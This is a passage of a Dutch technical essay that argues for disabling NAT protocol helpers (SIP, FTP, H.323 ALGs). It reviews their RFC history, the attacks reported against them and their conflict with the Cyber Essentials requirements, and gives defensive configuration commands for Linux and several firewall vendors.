geen derde kolom. Stuurkanaal versleuteld Helper werkt Wat de helper ziet 17 03 03 01 a4 9c 2f e1 8b 44 d0 ... cijfertekst Geen sleutelwoord. Geen adres. Geen poort. Niets om te matchen. Wat de helper ziet REGISTER sip:example ... Contact: 192.168.1.29:5060 En elk ander apparaat tussen jou en hen ziet het ook. Wat dat je kost De helper doet helemaal niets, dus moeten de eindpunten hun eigen vertaalprobleem oplossen \u0026#8212; wat elk van deze protocollen al tien jaar kan. Wat dat je kost Registratiegegevens, wie wie belde, en elk intern adres, in klare tekst, over elk netwerk tussen de twee uiteinden. En geen ervan beheer jij. Zo lang bestaat de versleutelde modus al FTP over TLS sinds 2005\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;SIP over TLS met versleutelde media sinds de basisstandaard\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;chat over TLS sinds decennia\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;H.323 heeft een eigen beveiligingsbijlage De eerlijke vorm van “we hebben de SIP-helper nodig” is een zin die niemand hardop zegt. Namelijk: onze gesprekssignalering moet onversleuteld over niet-vertrouwde netwerken, zodat een vreemde doos hem herschrijft. De ruil die niemand opschrijft. Een helper werkt alleen op payload die hij kan lezen, dus de twee kolommen sluiten elkaar uit. De rechter is waar een werkende SIP ALG je in feite om vraagt. De eerlijke formulering van “we hebben de SIP ALG nodig” luidt dus: we hebben onze gesprekssignalering onversleuteld over niet-vertrouwde netwerken nodig, zodat een middlebox die wij niet beheren hem kan herschrijven. Zeg het zo in een ontwerpreview en kijk hoe ver je komt.\nEr is een scherpere versie, en daarom is dit geen close call. Een helper aan laten staan is een blijvende prikkel tégen versleuteling: op de dag dat iemand SIP over TLS aanzet, breken de gesprekken en is de helper de reden, dus wordt de wijziging teruggedraaid en blijft de klare tekst nog een jaar. Vraag iemand die het achter een consumentenfirewall geprobeerd heeft hoe dat ging.\nElk ander protocol op internet is de andere kant op gegaan: webverkeer standaard versleuteld, DNS versleuteld, mailtransport versleuteld, QUIC dat zelfs de transportheader versleutelt juist zodat middleboxen die niet kunnen lezen of veranderen. Het middlebox-tijdperk is op het open internet jaren geleden geëindigd, en de laatste plekken die nog leunen op een apparaat in het pad dat de payload leest, zijn de plekken waar iemand een helper aan heeft laten staan.\nIPsec is het geval waarin de helper helemaal niets kan lezen Wat de voor de hand liggende vraag oproept over het protocol dat niets dan versleuteling is. Het antwoord is erger dan je zou gokken.\nESP heeft geen poortnummers, want het is een IP-protocol op zichzelf en niet iets dat over UDP gaat, en een vertaler demultiplext retourverkeer op poort. Met twee clients achter één publiek adres die naar dezelfde gateway willen, valt er dus niets te vinden waaraan je hun inkomende pakketten kunt onderscheiden. RFC 3715 schreef dat in maart 2004 op: een NAT kan de koppeling niet door meekijken leren, en “it is possible that the NAT will deliver the incoming IPsec packets to the wrong destination”18.\nDus bouwden leveranciers een helper. Die kijkt mee met de IKE-uitwisseling op UDP 500, waarvan de eerste pakketten in klare tekst zijn, oogst de cookies en de security parameter index, en opent een poortje zodat inkomend ESP met die waarde bij de juiste host binnen aankomt. Juniper beschrijft het het helderst: “When ESP traffic hits the IKE ALG gates, sessions are created to capture subsequent ESP traffic”19. Cisco\u0026rsquo;s inspect ipsec-pass-thru doet hetzelfde voor ESP en AH “associated with an IKE UDP port 500 connection”, met een standaardtabel die helemaal geen limiet zet op het aantal ESP-verbindingen per client20.\nHetzelfde object, hetzelfde gezag, alleen matcht de helper hier niet eens een sleutelwoord. Hij kan ESP niet ontleden, want ESP is juist het versleutelde deel; hij stuurt pakketten op een 32-bits getal dat hij in klare tekst voorbij zag komen. De paragraaf van RFC 3715 die hierover gaat heet, zonder enige ironie, “Helper Incompatibilities”, en legt vast dat demultiplexen op cookies “results in problems with re-keying” en dat apparaten die ISAKMP-payloads ontleden “may not handle all payload ordering combinations”18. Een gok in plaats van een regel, en een zelfgebouwde parser in het pakketpad, tweeëntwintig jaar geleden opgeschreven.\nDe oplossing kwam tien maanden later, in het protocol, waar hij hoort: RFC 3947 laat de twee uiteinden tijdens de sleuteluitwisseling een vertaler ontdekken, en RFC 3948 verpakt ESP in UDP op poort 4500 zodat er weer poorten zijn21. Juniper zegt het daarna hardop: “IKE NAT-T traffic on floating port 4500 is not processed in an IKE ALG”19. Doe je het goed, dan wordt de helper volledig omzeild — dezelfde zin als bij passief FTP en bij ICE.\nDe mainline-Linuxkernel heeft deze nooit overgenomen. Onder de conntrack-protocollen zit geen ESP-module, en een patch uit 2021 die SPI-gebaseerde tracking toevoegde ging door de review op de netfilter-lijst en is nooit opgenomen22. De leveranciers die hem meeleveren doen dat buiten de boom om, op de apparaten die het minst waarschijnlijk ooit bijgewerkt worden.\nHet haalt Cyber Essentials niet, regel voor regel Tot hier was dit een beveiligingsargument. Voor wie zich in het Verenigd Koninkrijk laat certificeren is het ook een compliance-argument, en er komt geen slimme uitleg aan te pas — het zijn drie punten tegen drie punten. Cyber Essentials is het door de Britse overheid gedragen programma dat via IASME wordt uitgevoerd, de eerste technische eis gaat over firewalls, en het geldende eisendocument is versie 3.3 van april 2026. Dit legt het je op, letterlijk23:\nblock unauthenticated inbound connections by default ensure inbound firewall rules are approved and documented by an authorised person, and include the business need in the documentation remove or disable unnecessary firewall rules, when they are no longer needed Zet er nu een protocol-helper naast.\nDrie firewall-eisen, en wat een helper met elk ervan doet Cyber Essentials, maatregel één, firewalls. Drie plichten, en het antwoord van een helper op elk. Wat het eisendocument zegt Wat een protocol-helper doet Resultaat \"block unauthenticated inbound connections by default\" De eerste plicht, en de reden dat de maatregel bestaat. Staat er een toe, op gezag van een tekenreeks in een pakket. Wie die reeks leverde, authenticeerde zich tegen helemaal niets. gezakt \"ensure inbound firewall rules are approved and documented by an authorised person, and include the business need\" Op lijnsnelheid geschreven door een kernelmodule. Niemand keurde hem goed, niemand zag hem, geen document, geen noodzaak vastgelegd. gezakt \"remove or disable unnecessary firewall rules, when they are no longer needed\" Wat veronderstelt dat iemand besloot dat ze nodig waren. Door een timer verwijderd. Een timer is geen beoordeling, en niemand beoordeelde ooit of de regel überhaupt nodig was. gezakt Dit is de eerste van de vijf technische maatregelen, geen randgeval in de vijfde. Ze geldt, in de woorden van het programma, voor grensfirewalls, desktops, laptops, routers en servers. De drie firewall-eisen uit de technische maatregelen van Cyber Essentials, en wat een protocol-helper ermee doet. Drie eisen, drie keer niet gehaald, bij de eerste van de vijf maatregelen. Een expectation bestaat juist om een inkomende verbinding toe te staan die anders geblokkeerd zou worden, en de partij wiens data hem veroorzaakte authenticeerde zich nergens tegen, dus het eerste punt faalt regelrecht. De regel werd op lijnsnelheid geschreven door een kernelmodule, dus er is geen document, geen vastgelegde zakelijke noodzaak en nergens in de keten een bevoegd persoon — vraag een auditor om het goedkeuringsbewijs van de regel die een verbinding tot poort 9100 op je printer liet komen en je hebt het niet en kunt het niet maken, want hij bestond achttien maanden geleden negentig seconden. En de regels van een helper worden door een timer verwijderd, en een timer is geen beoordeling.\nDrie eisen, drie keer niet gehaald, bij de eerste maatregel van vijf, die in de woorden van het programma geldt voor “boundary firewalls, desktop computers, laptops, routers, servers”23, dus voor alles wat je bezit.\nWees eerlijk over wat dat betekent, want ik ben niet de certificerende instelling. Een beoordelaar werkt met de vragenlijst en het bewijs dat jij aanlevert, en die lijst vraagt of je niet-geauthenticeerde inkomende verbindingen standaard blokkeert en of je inkomende regels gedocumenteerd en goedgekeurd zijn. Antwoord ja terwijl er een helper op je grens draait en het antwoord klopt niet. Waarschijnlijk slaag je toch. Slagen en voldoen zijn niet hetzelfde, en het gat daartussen komt na een incident aan het licht in plaats van ervoor.\nCyber Essentials is ook niet ongewoon in wat het vraagt, alleen ongewoon helder geformuleerd. Een standaard uit de kaartenbranche, een overheidsprogramma, de vragenlijst van een klant en het aanvraagformulier van je verzekeraar vragen allemaal hetzelfde in andere woorden: weet je wat je firewall inkomend toestaat, en heeft iemand dat besloten? Dit is dus de paragraaf voor wie het certificaat tekent. Niet de aanvallen en niet de CVE\u0026rsquo;s. Drie punten, en het eerlijke antwoord op elk.\nDe branche heeft dit twintig jaar geleden beslist Niets hiervan is nieuw en niets is omstreden. Opmerkelijk is hoe lang het besluit al vaststaat terwijl de standaardinstellingen onverstoorbaar doorliepen.\nVijfentwintig jaar dezelfde bevinding, en de ene regel die nooit opduikt De conclusie stond in 2007 vast. De standaardwaarden bewogen niet. Wanneer Wat er gebeurde Wie kon handelen jan. 2001 RFC 3027 brengt elk protocol in kaart dat NAT sloopt, en wat een ALG daaraan moet doen standaardisatieorgaan feb. 2002 RFC 3234 noemt het mechanisme “a deliberate layer violation” en waarschuwt voor extra aanvalspunten standaardisatieorgaan jan. 2007 RFC 4787, een Best Current Practice: NAT-ALG's voor UDP-protocollen HOREN uit te staan standaardisatieorgaan jan. 2010 NAT Pinning: een verborgen formulier opent een inkomende poort op de machine van de bezoeker een onderzoeker 2012 netfilter krijgt een expliciet koppelmechanisme en een schakelaar tegen automatische toewijzing de kernel apr. 2016 Linux verandert de standaard: helpers doen niets zonder expliciete regel. Geleverd in 4.7 de kernel okt. 2020 NAT Slipstreaming, dan de variant van januari 2021 die elk apparaat in het netwerk bereikt onderzoekers nov. 2020 Vier browserbouwers leveren maatregelen; de webplatformstandaard krijgt een verboden-poortlijst de browsers aug. 2022 De IRC-helper blijkt af te gaan op een bericht dat het slachtoffer nooit opstelde een onderzoeker 2023\u0026#8211;24 Nog vier ALG-kwetsbaarheden in de vlaggenschipreeks van één leverancier onderzoekers Lees nu de kolom “wie kon handelen” en merk op wie er nooit in staat. In vijfentwintig jaar is geen regel hiervan een firewallleverancier die een update uitrolt die de functie uitzet op apparatuur die al in het veld staat. Het orgaan vroeg erom, de kernel deed het, en geen van beide bereikte de dozen. Vijfentwintig jaar dezelfde conclusie, keer op keer getrokken door mensen die niet konden repareren wat gerepareerd moest worden. De ene regel die nooit opduikt, is een firewallleverancier die de functie uitzet op apparatuur die al in het veld staat. RFC 3027 bracht in januari 2001 elk protocol in kaart dat NAT sloopt24. RFC 3234 zette ALG\u0026rsquo;s een jaar later in de middlebox-taxonomie, noemde het mechanisme “a deliberate layer violation” en was helder over de kosten van extra dozen in een pad: het “creates extra points of attack, reduces or eliminates the ability to perform end to end encryption, and complicates trust models”10. Toen legde in januari 2007 RFC 4787 — een Best Current Practice en geen suggestie — vast hoe NAT zich hoort te gedragen, en eis tien zei dit:\nREQ-10: To eliminate interference with UNSAF NAT traversal mechanisms and allow integrity protection of UDP communications, NAT ALGs for UDP-based protocols SHOULD be turned off.4\nUit. Negentien jaar geleden, met de reden erbij: helpers staan de mechanismen in de weg die wél werken, en ze verhinderen je de integriteit van je eigen verkeer te beschermen. Dezelfde paragraaf merkt vermoeid op dat sommige producten ALG\u0026rsquo;s “turned on permanently” hebben4.\nDrie jaar later liet NAT Pinning een webpagina een poort openen1. Netfilter antwoordde in 2012 met een manier om dat bewust te doen in plaats van automatisch — het CT-doel, dat een helper via een expliciete regel aan een benoemde stroom koppelt, en een schakelaar om automatische toewijzing helemaal te stoppen11. Toen veranderde de kernel op 25 april 2016 zijn standaard, in een commitbericht dat de moeite waard is om helemaal te lezen, zo vermoeid klinkt het:\nFour years ago we introduced a new sysctl knob to disable automatic helper assignment [\u0026hellip;] This knob kept this behaviour enabled by default to remain conservative. This measure was introduced to provide a secure way to configure iptables and connection tracking helpers through explicit rules. Give the time we have waited for this, let\u0026rsquo;s turn off this by default now, worse case users still have a chance to recover the former behaviour by explicitly enabling this back through sysctl.5\nDat kwam met Linux 4.7, en sindsdien doet een doos met die modules geladen er niets mee tot je een regel schrijft die er een aan een stroom koppelt, met een logregel die het je vertelt. Alles daarna staat in het diagram hierboven: Slipstreaming en de variant voor elk apparaat, vier browserbouwers met maatregelen terwijl de webplatformstandaard zelf de poortlijst kreeg25, de IRC-helper die afgaat op een bericht dat niemand opstelde, en nog vier ALG-kwetsbaarheden in de vlaggenschipfirewalls van één leverancier.\nKijk nu wat er op de lijst ontbreekt. In vijfentwintig jaar is geen enkele regel ervan een firewallleverancier die een firmware-update uitrolt die deze dingen uitzet op apparatuur die al is uitgeleverd. Het standaardisatieorgaan vroeg erom. De kernel deed het upstream. De onderzoekers bewezen het vier keer apart. De browsers betaalden ervoor. De dozen draaiden door.\nEn de blokkeerlijst van poorten is het teken aan de wand. De poorten 69, 137, 161, 554, 1719, 1720, 1723, 5060, 5061, 6566 en 10080 staan er allemaal op6 — TFTP, NetBIOS, SNMP, RTSP, H.323 twee keer, PPTP, SIP twee keer, het scannerprotocol en het Amanda-backupprotocol. Laat de helpermodules in een Linux-kernelboom opsommen en je zult merken dat je dezelfde lijst twee keer gelezen hebt. Geen toeval, en geen beveiligingsmaatregel. Het is de ene branche die permanent een groeiende blokkeerlijst van poorten bijhoudt, omdat een andere branche een standaardwaarde niet wil veranderen.\nOnder de meeste logo\u0026rsquo;s zit Linux Het netfilter-detail is het belangrijke deel en geen Linux-vormige uitweiding, en het loont te zeggen waarom voordat de leverancierslijst komt. Een heel groot deel van de dozen die op deze planeet NAT doen is Linux met netfilter onder een leveranciersschil: elke OpenWrt-afgeleide, dus het grootste deel van de consumenten- en mkb-routermarkt, de meeste door providers geleverde thuisrouters, een flink deel van de carrier-grade NAT-apparatuur, en volop commerciële appliances waarvan de webinterface niets verraadt over wat eronder zit. De helper die jouw SIP ontleedt is in heel veel gevallen datzelfde nf_conntrack_sip.c dat in de mainline-kernel zit, door iemand anders gecompileerd en via een menu aangestuurd.\nHet bewijs zit in het onderzoek zelf. Toen Samy in een Netgear-router naar de SIP ALG zocht, pakte hij de firmware uit en vond een kernelmodule met ftp_decode en sip_decode2. De testlijst van Armis bevatte OpenWrt en VyOS plus een categorie die ze simpelweg “various consumer grade Linux routers, with likely older kernel versions” noemden, en de H.323-analyse die de bevinding “elke interne host” opleverde ontstond bij het lezen van de netfilter-broncode en werd daarna bevestigd op commerciële firewalls van drie leveranciers3.\nDaaruit volgen twee praktische gevolgen.\nDe kernelstandaard bereikt jou niet. Linux 4.7 zette automatische toewijzing in 2016 uit, maar alleen als de kernel nieuw genoeg is en niemand hem weer heeft aangezet. Armis vond VyOS dat nf_conntrack_helper expliciet terugzet op 1, en merkte op dat volop Linux-gebaseerde producten hem weer aanzetten “as it is still useful for many users”3. Een kernel uit 2014 in een product uit 2026 krijgt het gedrag van 2014, en een actuele kernel met de schakelaar om krijgt hetzelfde. Geen van beide staat op een datasheet.\nWie het netfilter-model kent, weet wat hij elke andere doos moet vragen. De drie vragen uit de paragraaf over expectations zijn geen Linux-vragen. Het zijn dé vragen. Elke leverancier heeft hetzelfde object onder een andere naam, de documentatie geeft de antwoorden vrijwel nooit, en weten wat de referentie-implementatie doet is hoe je uitvogelt wat je moet testen.\nDoe het Linux-werk goed, en lees daarna elke andere leverancier daartegen af.\nDe Linux-helpers, netjes Begin met wat er daadwerkelijk geladen is:\nlsmod | grep -E \u0026#39;nf_conntrack|nf_nat\u0026#39; De helpermodules zijn die naar protocollen genoemd zijn — nf_conntrack_ftp, _sip, _h323, _irc, _tftp, _pptp, _snmp, _amanda, _sane, _netbios_ns en _talk — elk met een bijbehorende nf_nat_* waar adressen herschreven worden. Controleer daarna of automatische toewijzing aan staat, want dat is de schakelaar die bepaalt of een geladen module uit zichzelf iets doet:\nsysctl net.netfilter.nf_conntrack_helper Nul is wat je wilt, en nul is de standaard vanaf Linux 4.75. Eén betekent dat elke geladen helper actief is op elke stroom die bij zijn poort past, vanaf elk adres, wat het gedrag van 2015 is en het gedrag waar de aanvallen in dit stuk van uitgaan.\nKijk daarna naar conntrack -L expect op een draaiende firewall. Met helpers uit blijft het leeg; met ze aan zet je er een opname naast en zie je regels verschijnen terwijl mensen het netwerk gebruiken. Die oefening is het één keer in je leven waard, want niets maakt het punt sneller dan een inkomende toestemming die jij niet geschreven hebt voor je ogen te zien verschijnen en verdwijnen.\nStaat automatische toewijzing uit en wil je tóch een bepaalde helper op een bepaalde stroom, dan is de geëigende weg een expliciete regel, die hem in elk geval tot één bestemming en één poort beperkt:\niptables -t raw -A PREROUTING -p tcp --dport 21 -d 192.0.2.10 -j CT --helper ftp Het nftables-equivalent declareert een ct helper-object en koppelt het met ct helper set in de prerouting-keten, dezelfde discipline met betere syntaxis.\nKijk wat die regel is: een gedocumenteerde, goedgekeurde, zakelijk onderbouwde inkomende uitzondering, door een mens geschreven, in de regelset, waar een auditor hem kan lezen. Precies wat de automatische variant nooit kon zijn.\nWil je ze weg hebben in plaats van slechts slapend — en op een firewall zou je dat moeten willen — voorkom dan dat de modules überhaupt laden:\nfor m in ftp sip h323 irc tftp pptp snmp amanda sane netbios_ns talk; do echo \u0026#34;install nf_conntrack_$m /bin/false\u0026#34; done \u0026gt; /etc/modprobe.d/no-conntrack-helpers.conf install ... /bin/false in plaats van blacklist is met opzet: blacklist voorkomt alleen automatisch laden via aliassen, en wie de module bij naam opvraagt krijgt hem alsnog. En laadt de firewalllaag van je distributie ze voor je — firewalld doet dat als een zone de FTP- of TFTP-dienst aan heeft staan — dan is dat de laag die je moet aanpakken, want die legt ze behulpzaam terug.\nAlle andere logo\u0026rsquo;s, en hoe je het uitzet Controleer je eigen versie in plaats van iets van internet te geloven, het mijne inbegrepen, want deze standaardwaarden verschuiven tussen releases en tussen modellen in dezelfde serie.\npfSense en OPNsense zijn het bewijs dat de discussie voorbij is. Er valt geen SIP ALG uit te zetten, want er is er nooit een geweest om aan te zetten. Ze horen tot de breedst uitgerolde firewalldistributies die er zijn, ze draaien telefonie voor heel veel organisaties, en als een helper echt nodig was om moderne VoIP te laten werken zou dat niet kunnen. Het kan duidelijk wel. Met de FTP-proxy ging het net zo: Netgate haalde hem in januari 2015 uit het basissysteem en degradeerde hem tot een aanvullend pakket dat de meesten nooit geïnstalleerd hebben.\nHet ontwerp van OpenBSD is dat wat alle anderen hadden moeten kopiëren. pf herschrijft in het doorstuurpad helemaal geen payload. Wil je FTP geholpen hebben, dan draai je ftp-proxy, een aparte userspace-daemon, en schrijf je een expliciete divert-to-regel die de stuurverbinding daarheen stuurt; de proxy verbindt dan namens de client met de server26. Daar vallen meteen drie eigenschappen uit: hij staat uit tenzij je hem bewust aanzet, hij ziet alleen verkeer dat je in een regel benoemd hebt, en een fout erin laat een userspaceproces crashen in plaats van het pakketpad. Zo ziet opt-in eruit als iemand het ontwerpt in plaats van er achteraf aan vast te schroeven.\nOpenWrt levert de ALG-modules niet mee, en automatische toewijzing blijft uit ook als je ze installeert.\nCisco ASA en FTD dragen inspection engines in het standaard globale beleid, en no inspect sip is Cisco\u0026rsquo;s eigen advies tijdens een incident:\npolicy-map global_policy class inspection_default no inspect sip no inspect h323 h225 no inspect h323 ras no inspect skinny Op FTD is het configure inspection sip disable vanaf de CLI van het apparaat16. IPsec-passthrough is het ene dat Cisco goed deed: inspect ipsec-pass-thru staat helemaal niet in het standaardbeleid, dus tenzij iemand hem bewust toevoegde valt er niets te verwijderen20.\nCisco IOS en IOS XE hebben het ook standaard aan — “NAT support for SIP is enabled by default on port 5060”, in Cisco\u0026rsquo;s eigen woorden7, en hetzelfde voor H.323:\nno ip nat service sip tcp port 5060 no ip nat service sip udp port 5060 no ip nat service h225 Juniper SRX zet SIP en H.323 aan op de branchmodellen en niet op de high-endapparatuur, wat op zichzelf al verraadt wat Junipers technici ervan vinden. Kijk met show security alg status waar je staat, dan:\nset security alg h323 disable set security alg sip disable set security alg ftp disable set security alg ike-esp-nat disable FortiGate inspecteert VoIP standaard via het VoIP-profiel, met daaronder een kernel-sessionhelper. De door Fortinet gedocumenteerde volgorde haalt eerst de helper weg27:\nconfig system session-helper show delete \u0026lt;het SIP-item\u0026gt; end config system settings set default-voip-alg-mode kernel-helper-based end Lees het itemnummer uit je eigen show-uitvoer in plaats van er een over te schrijven, want het verschuift tussen modellen en releases. Fortinet waarschuwt dat vaak een herstart nodig is.\nCheck Point is het lastige geval voor een audit, want er is geen enkele schakelaar. De helper is een eigenschap van het serviceobject in de regel, dus de vooraf gedefinieerde SIP-service brengt je de protocolhandler en alles wat die doet. Hem vermijden betekent een eigen eenvoudige UDP- of TCP-service op poort 5060 definiëren met protocoltype “none”, matching aanzetten, en die regel boven alles zetten wat nog de ingebouwde gebruikt. “Staat de ALG aan?” is dus geen vraag die een instellingenpagina kan beantwoorden. Wees daarom voorzichtig voordat je iemands woord aanneemt dat hij uit staat.\nPalo Alto geeft je een schakelaar per applicatie, en de eigen documentatie zegt dat de SIP ALG “creates dynamic NAT pinholes”8. Objects, Applications, zoek sip, pas de ALG-optie aan, vink Disable ALG aan, commit.\nMikroTik levert tien helpers onder /ip firewall service-port — SIP, H.323, FTP, IRC, TFTP, PPTP, RTSP en meer — elk in één regel gedocumenteerd, zonder enige veiligheidswaarschuwing op de pagina. Eerst opsommen, dan uitzetten wat je vindt:\n/ip firewall service-port print /ip firewall service-port set [find name=sip] disabled=yes /ip firewall service-port set [find name=h323] disabled=yes /ip firewall service-port set [find name=ftp] disabled=yes Consumenten- en providerrouters. Zoek naar “SIP ALG”, “SIP helper”, “VoIP passthrough” of “application layer gateway”, meestal onder een pagina voor geavanceerde NAT. Bij veel ervan, zeker bij providerapparatuur, is er helemaal geen instelling — wat je vertelt of die doos thuishoort op een netwerk waar jij verantwoordelijk voor bent.\nOp welk platform ook, sluit het op dezelfde manier af: bewijs het. Zet een opname op de buiteninterface, stuur van buitenaf een geprepareerde PORT- of REGISTER-regel naar de betreffende poort, en controleer dat er niets opengaat. Een instelling die je niet getest hebt, is een geloof.\nHet meeste dat stukgaat is toch al dood Eerlijk zijn over de kosten is de hele grond om dit van iemand te vragen, dus hier zijn ze. De SIP-helper uitzetten op een netwerk met slecht geconfigureerde telefoons kan gesprekken slopen, meestal eenzijdig geluid of registraties die wegvallen. De FTP-helper uitzetten sloopt uitgaand actief FTP. De H.323-helper uitzetten sloopt H.323, als je dat nog hebt. Dat is echt, en je moet op minstens één daarvan rekenen als je dit in één wijziging doet op een netwerk waar jaren niemand naar gekeken heeft.\nLees de lijst nu terug en merk op dat vrijwel elk protocol dat een helper bedient er een is dat de rest van de branche allang begraven heeft. H.323 verloor twintig jaar geleden van SIP. PPTP is sinds 1998 onverdedigbaar, en dat betoog heb ik uitgebreid gevoerd in IPsec was een goed idee. Directe IRC-overdrachten horen bij een decennium waar niemand met weemoed aan terugdenkt. NetBIOS-naamdienst, de community-stringversies van SNMP, het scannerontdekkingsprotocol en het oude backupprotocol zijn relikwieën voor lokale netwerken die nooit een grens hoorden over te steken. Kale FTP is helemaal uit de browsers verdwenen — Firefox zette het in versie 88 uit en haalde het er in 90 in juli 2021 uit, en Chrome verwijderde de code in oktober daarop in versie 95, beide op grond dat het gebruik verwaarloosbaar was en de beveiliging het onderhoud niet waard28.\n“We kunnen de helper niet uitzetten, er gaat iets stuk” is dus meestal een argument om een dood protocol aan de beademing te houden om een functie te rechtvaardigen die poorten opent voor vreemden. Uitzetten sloopt je netwerk niet. Het legt het ene ding erop bloot dat jaren geleden uitgefaseerd had moeten worden, en dat is informatie die je toch al wilde hebben.\nSIP is de echte uitzondering en de enige. Al het andere op die lijst is een argument dat je blij mag zijn te verliezen — en niets ervan is onoplosbaar, want elk betrokken protocol heeft zijn eigen vertaalprobleem jaren geleden zelf opgelost, in het protocol, waar het hoort.\nWat je in plaats daarvan doet Het middlebox-antwoord en het eindpuntantwoord, naast elkaar Hetzelfde probleem, twee keer beantwoord. Eén antwoord legde de beslissing in het midden. Een doos in het pad beslist De twee uiteinden beslissen Hoe het werkt Een apparaat leest de payload onderweg Het herschrijft het adres dat daar staat Het opent een inkomend gat voor die verbinding Niemand aan beide uiteinden weet hiervan Hoe het werkt Elk eind vraagt een server hoe het er van buiten uitziet Elk biedt elk pad: lokaal, vertaald, via relay De twee uiteinden testen de paden tegen elkaar Ze houden het werkende pad open met eigen verkeer Wat het van jou vraagt Een leesbare payload, dus geen versleuteling op het stuurkanaal. Juist dat apparaat in juist dat pad. Maar één vertaler, dus een carrier-grade NAT verderop breekt het. En vertrouwen in wie de tekst schreef, waar tot 2010 niemand aan dacht. Wat het van jou vraagt Uitgaande toegang, en verder helemaal niets. Het werkt door vertalers die niet van jou zijn en die je niet ziet, door twee gestapeld, door een mobiel netwerk, en met een stuurkanaal dat eind-tot-eind versleuteld is, omdat niets in het midden het leest. Voor bestandsoverdracht is het nog eenvoudiger: passieve modus, waarbij de client beide verbindingen naar buiten opent en er niets overblijft. De rechterkolom is geen voorstel. Het is wat je browser al doet. Elk videogesprek in een browser wordt zo onderhandeld, door elke soort vertaler, zonder ALG in het pad. Hetzelfde probleem, twee keer opgelost. Het ene antwoord legde de beslissing in een doos in het midden. Het andere liet de twee uiteinden het onderling uitzoeken, en dat is wat elke browser ter wereld al doet bij elk videogesprek. FTP. Passieve modus, sinds 1985 in de specificatie en al twintig jaar de standaard in elke client: beide verbindingen gaan naar buiten en er blijft voor een helper niets te doen. En verplaats je in 2026 bestanden tussen organisaties, dan is FTP niet het protocol daarvoor — SFTP en FTPS zijn versleuteld, en bij geen van beide komt een helper.\nSIP en al het andere realtime. Het eindpunt vraagt een server op internet hoe zijn publieke adres en poort er van buiten uitzien, biedt elk pad aan dat het heeft, en de twee uiteinden testen de paden tegen elkaar en houden er een die werkt, met een relay waar geen direct pad bestaat. Dat is STUN, TURN en ICE, en dat is wat elke browser ter wereld doet bij elk videogesprek, door elke soort vertaler, zonder één ALG in het pad. Kan je telefooncentrale dat in 2026 niet, dan ligt het probleem bij de telefooncentrale.\nIPsec. NAT-traversal, oftewel RFC 3947 en RFC 3948: de twee uiteinden merken de vertaler op tijdens de sleuteluitwisseling en verpakken ESP de rest van de sessie in UDP 450021, zonder poortje op welke doos ertussen dan ook.\nH.323. Uitfaseren. SIP won die discussie rond 2005, dus er valt geen migratie te plannen, alleen een verwijdering. Directe overdrachten, TFTP, SNMP, NetBIOS, scannerontdekking en het backupprotocol gaan dezelfde kant op: geen ervan heeft een grens te kruisen.\nIPv6. Daar bestaat niets hiervan, want er is geen vertaling en dus niets wat een helper kan herschrijven. Een host heeft zijn eigen adres, het adres in de payload klopt, en een stateful firewall staat toe wat jij gezegd hebt en verder niets. Elk probleem in dit stuk stamt af van adresvertaling, en adresvertaling stamt af van IPv6 niet uitrollen — een betoog dat ik elders uitgebreid heb gevoerd en hier niet herhaal.\nNu het deel waarin ik niet diplomatiek ga zijn.\nZegt iemand je dat je deze dingen aan moet zetten — een leverancier, een telefonie-installateur, een managed service, een integrator op een raamcontract — dan is dat geen netwerkengineer en geen beveiligingsspecialist. Hij is misschien heel goed in wat hij werkelijk doet, en dit zal dat niet zijn. Het juiste antwoord op een telefooncentrale die een firewall nodig heeft om haar signalering te herschrijven, is de telefooncentrale repareren, en wie je in plaats daarvan zegt je grens open te zetten voor een tekstzoekende parser, vertelt je dat hij ofwel niet weet wat een expectation is ofwel dat het hem niet uitmaakt. Wij zijn hier geen amateurs. Sinds 2007 staat in standards-trackdocumenten hoe het hoort, en “zet gewoon de SIP-helper aan” is het geluid van iemand die grijpt naar wat het ticket vandaag sluit.\nVraag hem, in de kamer, waarop de joker voor het bronadres van de expectation staat. Verrast die vraag hem, dan heb je je antwoord, en het ging nooit over het protocol.\nDraai je ze nog — mag je jezelf professional noemen? Dat is een serieuze vraag en hij verdient een serieus antwoord, dus hier zijn er drie, want er zijn drie gevallen. Het hangt ervan af of je het weet — en weten is niet iets wat je overkomt. Zorgen dat je het weet, dat is het werk.\nStaat er op een grens waar jij verantwoordelijk voor bent een SIP-, H.323- of FTP-helper aan, en kun je niet zonder opzoeken zeggen wat een expectation is, welke van zijn velden jokers zijn, wie de waarden aanlevert, en wat je certificeringsopgave over inkomende regels beweert — dan nee. Hierop niet. Je hebt geen configuratie gekozen, je hebt een standaardwaarde geërfd en die nooit nagelezen. Het tekort is niet het gat; iedereen heeft gaten, en dit had ik ook. Het is een grens bouwen over een gat dat je nooit bent gaan dichten, en daarna iets tekenen waarin staat dat de grens deugt.\nWeet je precies wat het doet, en staat het aan omdat een toezichthouder het protocol noemt, omdat de apparatuur van een partner niets anders termineert, of omdat de telefooncentrale in maart vervangen wordt en dit tot dan moet werken — dan ja, uiteraard, en je doet het werk goed. Dat zijn echte beperkingen en ik heb om ergere heen gewerkt. Professioneel in plaats van nalatig wordt het doordat je hebt opgeschreven welke helper, op welke interface, voor welke stroom, waarom, en op welke datum hij eraf gaat. Precies het papierwerk waar de firewall-eis al om vroeg.\nHet onverdedigbare geval is het middelste. Genoeg weten om ongemakkelijk te zijn, en het toch laten draaien omdat niemand je ooit dwong het te verantwoorden. Dat is geen engineering. Dat is gewoonte met een changenummer eraan, en zo staat een functie die een Best Current Practice je in januari 2007 opdroeg uit te zetten in 2026 nog aan.\nDit telt het zwaarst als je iemand betaalt voor zijn oordeel, want oordeel valt bij oplevering niet te inspecteren. Inspecteer het dus vooraf. Vraag wat hun standaardbouw met protocol-helpers doet en waarom, vraag wat er gebeurt als iemand op het gastennetwerk een link opent, en vraag welke interne apparaten bereikbaar zouden zijn met de H.323-helper aan — en let op of ze zeggen “alleen de machine die klikte”, want dat is fout, en het is het foute antwoord dat een competent klinkend iemand geeft. Je weet binnen twee minuten of je iets verteld krijgt of voorgelezen, en twee minuten is een veel goedkopere toets dan een incident.\nKomt het antwoord als een schouderophalen en teken je toch, dan is dat ook een beslissing. Hij is alleen opgehouden de hunne te zijn en de jouwe geworden.\nNiemand hoefde het ooit te verantwoorden Ik wil eerlijk zijn tegenover de mensen die deze dingen bouwden, want dat verdienen ze.\nIn 1994 was de helper een redelijk antwoord op een echt probleem. Adressen raakten op, NAT was de pragmatische oplossing, een handvol belangrijke protocollen overleefde dat niet, en de keuze was elke FTP-client ter wereld 